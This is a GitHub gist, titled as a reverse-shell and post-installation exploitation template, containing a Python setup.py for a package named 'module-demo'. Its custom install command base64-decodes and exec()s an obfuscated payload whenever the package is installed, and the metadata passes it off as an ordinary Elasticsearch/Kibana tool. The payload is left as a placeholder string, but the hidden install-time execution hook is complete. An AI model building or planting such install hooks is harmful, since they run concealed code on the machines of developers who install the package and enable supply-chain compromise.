Created
June 18, 2021 22:11
-
-
Save cr0wg4n/4769f9121d90275e4d9ee45a9a5b3467 to your computer and use it in GitHub Desktop.
setup.py reverse-shell and post-installation explotation
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import setuptools | |
from setuptools.command.install import install | |
class PostInstallCommand(install): | |
def run(self): | |
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('SOME_BASE64_MALICIUS_CODE')[0])) | |
install.run(self) | |
with open("README.md", "r", encoding="utf-8") as description: | |
long_description = description.read() | |
setuptools.setup( | |
name="module-demo", | |
version="0.0.1", | |
author="Authornymous", | |
author_email="", | |
description="This is a demo description", | |
long_description=long_description, | |
long_description_content_type="text/markdown", | |
license='MIT', | |
url="https://github.com/demo/demo_repo", | |
project_urls={ | |
"Bug Tracker": "https://github.com/demo/demo_repo/issues", | |
}, | |
classifiers=[ | |
"Programming Language :: Python :: 3", | |
"License :: OSI Approved :: MIT License", | |
"Operating System :: OS Independent", | |
'Development Status :: 3 - Alpha', | |
'Intended Audience :: Developers', | |
'Topic :: Software Development :: Build Tools', | |
], | |
keywords=["elasticsearch", "kibana", "development", "api mapping"], | |
packages=["module_demo"], | |
package_data={ | |
}, | |
install_requires=[ | |
"requests" | |
], | |
python_requires=">=3.0", | |
cmdclass={ | |
"install": PostInstallCommand | |
} | |
) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment